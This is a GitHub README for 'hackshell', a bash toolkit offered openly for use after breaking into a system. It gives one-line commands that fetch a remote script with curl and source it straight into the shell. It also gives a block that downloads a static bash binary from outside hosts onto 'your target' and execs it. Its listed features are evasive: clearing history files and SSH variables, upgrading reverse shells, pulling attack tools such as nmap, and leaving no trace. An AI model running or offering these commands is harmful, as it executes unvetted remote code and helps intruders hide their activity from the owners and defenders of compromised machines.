Skip to content

Latest commit

 

History

History
28 lines (23 loc) · 1004 Bytes

README.md

File metadata and controls

28 lines (23 loc) · 1004 Bytes

hackshell

Make BASH stealthy and hacker friendly with lots of bash functions

Usage:

 source <(curl -SsfL https://thc.org/hs)
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

Some features:

  • unsets HISTFILE, SSH_CONNECT, wget/redis/mysql/less-HISTORY, ...
  • Upgrates to PTY shell (if reverse shell)
  • Creates hacker-friendly shortcuts, bash-functions and aliases
  • Static binary download by simple bin <command> (e.g. bin nmap)
  • Does not write ANY data to the harddrive
  • Leaves no trace

hackshell

It works best with bash. Download BASH if there is no bash on your target:

URL="https://bin.ajam.dev/$(uname -m)/bash"
[ "$(uname -m)" == i686 ] && URL='https://github.com/polaco1782/linux-static-binaries/raw/refs/heads/master/x86-i686/bash'
curl -obash -SsfL "${URL}" && chmod 700 bash && ./bash --version && exec ./bash -il